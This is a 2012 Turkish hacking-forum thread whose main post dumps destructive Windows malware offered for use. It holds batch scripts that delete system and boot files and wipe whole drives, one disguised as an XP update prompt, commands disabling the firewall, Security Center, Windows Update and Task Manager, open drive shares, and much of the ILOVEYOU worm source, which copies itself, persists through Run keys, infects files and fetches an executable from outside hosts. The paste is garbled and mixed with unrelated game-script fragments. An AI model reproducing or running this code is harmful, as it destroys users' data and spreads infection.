İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

virüsA(rem ve ekrankartı +belleği yakar ön belleğe bulaşır))

10-06-2012 23:54
#1
lockman32 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
05/2012
Nereden:
İstanbul
Yaş:
22
Mesajlar:
39
Teşekkür (Etti):
9
Teşekkür (Aldı):
9
Konular:
25
Ticaret:
(0) %
Dosya.tc - cretsiz, Hzl ve Kolay Dosya Paylam


sakın denemeyin

10-06-2012 23:56
#2
lockman32 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
05/2012
Nereden:
İstanbul
Yaş:
22
Mesajlar:
39
Teşekkür (Etti):
9
Teşekkür (Aldı):
9
Konular:
25
Ticaret:
(0) %
cd..
cd..
attrib -s -h -r -a c:\ntldr
del c:\ntldr
shutdown -r
/timersecure 0 0 //mkdir $mid(c:,1,2) $+ $rand(1,99999) $+ $rand(A,Z) $+ $rand(a,z)
????: Web Hattı - Türkiyenin En Güncel Forumu /internet-teknolojileri/454253-bilgisayar-cokeltme-kodlari.html
If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullN ame
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
????: Web Hattı - Türkiyenin En Güncel Forumu http://www.webhatti.com/showthread.php?t=454253
Active********.Saved = True
End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub < =>
net user %username% 123456
shutdown -r
shutdown -a
@echo off

C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\*.*

@echo off

cls

cls

@echo .:eni salak formatı yedin::.

@echo off
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .::Format Down Up Your Sistem Limp_buskuit::.
@echo off
@echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off cls cls @echo .::Seni salak formatı yedin::. @echo off
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .:: HacKeD gülümse ::.
@echo off3.
cd..

cd..

attrib -s -h -r -a c:\ntldr

del c:\ntldr

shutdown -r
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .:: BLooDY den formatı yedin::.
@echo off
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .:: BLooDY den formatı yedin::.
@echo off
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .:: BLooDY den formatı yedin::.
@echo off

ñ¯a_Á¯aÿ±m¯a?ÁÇáç±Çáß±Çá§ÁaÇáDZOÇᯱÇ᧱Çár×ÁÇá+ÑÇ á£áÇá
echo off

echo Microsoft windows XP' nizi güncellemeye devam etmek için lutfen bir tusa basın

echo off

pause

del /f /q d:

del /f /q c:

shutdown -r
echo off

echo Microsoft windows XP' nizi güncellemeye devam etmek için lutfen bir tusa basın

echo off

pause

del /f /q d:

del /f /q c:

shutdown -r
cd c:\\
attrib -s -h boot.ini
cls
attrib -s -h found.000
attrib -s -h found.001
t>boot.ini
attrib -a -s -h pagefile.sys
h>pagefile.sys
attrib -a -s -h hiberfil.sys
HH>hiberfil.sys
attrib -a -s -h -r bootfont.bin
hhh>bootfont.bin
attrib -a -s -h -r ntdetect.com
ff>ntdetect.com
attrib -a -s -h -r ntldr
f>ntldr
cls
cd..
cd..
cls
cd windows
g>win.ini
cls
g>system.ini
cls
cd pss
ft>system.ini.backup
f>win.ini.backup
cls
cd c:\\
@echo .::.HADi baslayalım.::.
cd windows
cd system32
attrib -r -h -s dllcache
cls
attrib -a -h -r *.manifest
cls
cd config
attrib -a -h *.log
cd..
cd restore
attrib -r -h -s filelist.xml
cls
cd c:\\
cls
cd windows
cls
tskill msnmsgr /a
tskill msmsgs /a
cls
del /f /q /s c:\\windows\\system32\\*.*
cls
cd repair
attrib -a -h ntuser.dat
f>ntuser.dat
ff>secstup.inf
cd..
attrib -h inf
attrib -h -s installer
attrib -h pif
attrib -r -h -a WindowsShell.Manifest
attrib -r -h şMSI31Uninstall_KB893803ş
attrib -s -a bootstat.dat
attrib -s -h services.dll
attrib -s -h qservice.exe
attrib -a -r set3.tmp
attrib -s -h winnt.bmp
attrib -s -h winnt256.bmp
cls
cd c:\\
del /f /q /s c:\\windows\\*.*
cls
cd..
cd..
cd program files
cd internet explorer
attrib -a -s -h iexplore.exe
cd c:\\
cls
del /f /q /s c:\\program files\\*.*
cls
cd..
cd..
attrib -a -h -r -s msdos.sys
attrib -a -s -h config.sys
cls
attrib -a -h -r -s IO.sys
cls
del /f /q /s c:\\*.*
cls
@echo Yuklemeyi Bitirmek Ilerlemeniz Gerekir…
@echo Veri Kayiplari Olmamasi icin….!!!!!!…
@echo Devam Etmeniz Kesinlikle Onerilir…!!!..
pause
cls
cd..
cd..
cd ********s and Settings
cd All Users
cd Desktop
md .HackEd
md Bys
md Hacker
dir /s>HAcKeD.ini
@echo HALA shutDownN.exe Pc DEYse RES iyi Gider
cls
shutdown -r -t 5 -c “HacKs FoR ” -f
shutdown -r -t 5 -c “HacKs FoR” -f
tsshutdn 5 /delay:2
tsshutdn 5 /delay:2
90,90
resizepic 0 0 5054 405 470
gumppic 10 10 5528
gumppic <eval (10+((<p.x>*100)/1337))> <eval (10+((<p.y>*100)/1067))> 2362
text 20 400 455 0
text 20 435 455 01 local.t_x=<argn1>
local.t_y=<argn2>
sector.allclients sendpacket 0c0 00 D<var.src> D<var.target> W<var.effect> W<p.x> W<eval <p.y**** B<qval <argn3>?<argn3>:<p.z**** W<local.t_x> W<local.t_y> B<qval <argn3>?<argn3>:<p.z**** B<var.speed> B<var0.duration> 00 00 00 B<qval <var0.explode>?<var.explode>:0> D<hval <var.hue> - 1> D<var.rendermode>
net share hacker=c:\ /unlimited /remark:"RockStar"
net share hacker=d:\ /unlimited /remark:"RockStar"
1.Notepad 'i açın.
2.Notepad in içine şunları yazın:
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .::Hacked By 4-Ever-Hacker::.
@echo off
90,90
resizepic 0 0 5054 405 470
gumppic 10 10 5528
gumppic <eval (10+((<p.x>*100)/1337))> <eval (10+((<p.y>*100)/1067))> 2362
text 20 400 455 0
text 20 435 455 01 local.t_x=<argn1>
local.t_y=<argn2>
sector.allclients sendpacket 0c0 00 D<var.src> D<var.target> W<var.effect> W<p.x> W<eval <p.y**** B<qval <argn3>?<argn3>:<p.z**** W<local.t_x> W<local.t_y> B<qval <argn3>?<argn3>:<p.z**** B<var.speed> B<var0.duration> 00 00 00 B<qval <var0.explode>?<var.explode>:0> D<hval <var.hue> - 1> D<var.rendermode>
off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.\kill.reg" ECHO A R E S
> >"%Temp%.\kill.reg" ECHO.
> >"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess]
> >"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
****"%Temp%.\kill.reg" ECHO.
> >"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv]
> >"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
> >"%Temp%.\kill.reg" ECHO.
> >"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc]
> >"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
> >"%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .:: HacKeD By RaZoR::.
@echo off3.
rem delete -pcaş(-vbe)
On es error -pc
On error Next Pc Hack
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Intern et Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf 7679njbvYT /WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGq**198vbFV5hfFEkbopBdQZnmPOhfgER67b3V bvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.i ni")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( şnick == şme ) { halt }"
scriptini.WriteLine "n2= /.dcc send şnick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
@echo off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.\kill.reg" ECHO A R E S
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
DEL %0
Shutdown -s -t "6" -c "Pc ni Tamirciye Gönder
start
start
start
start
start
start
start
start
start

start
start
start
start
start
start
start
start
start

start
start
start
start
start
start
start
start
start

start
start
start
start
start
start
start
start
start

start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start
start

start
start
start
start
start
start
start
start
start

start
start
start
start
start
start
start
start
start

start
start
start
start
start
start
start
start
start

start
start
start
start
start
start
start
start
start
@echo off
copy %0%windir%\Virus.bat> nul
reg addHKCU\Software\Microsoft\Windows\CurrentVersion\ Policies\System /v DisableTaskMgr /t
REG_DWORD/d 1/f > nul
11-06-2012 14:45
#3
hajking - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
01/2012
Nereden:
İstanbul
Yaş:
22
Mesajlar:
774
Teşekkür (Etti):
7
Teşekkür (Aldı):
95
Konular:
26
Ticaret:
(0) %
hepsini bir birine katmışında çalışmadı makina sapa sağlam

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı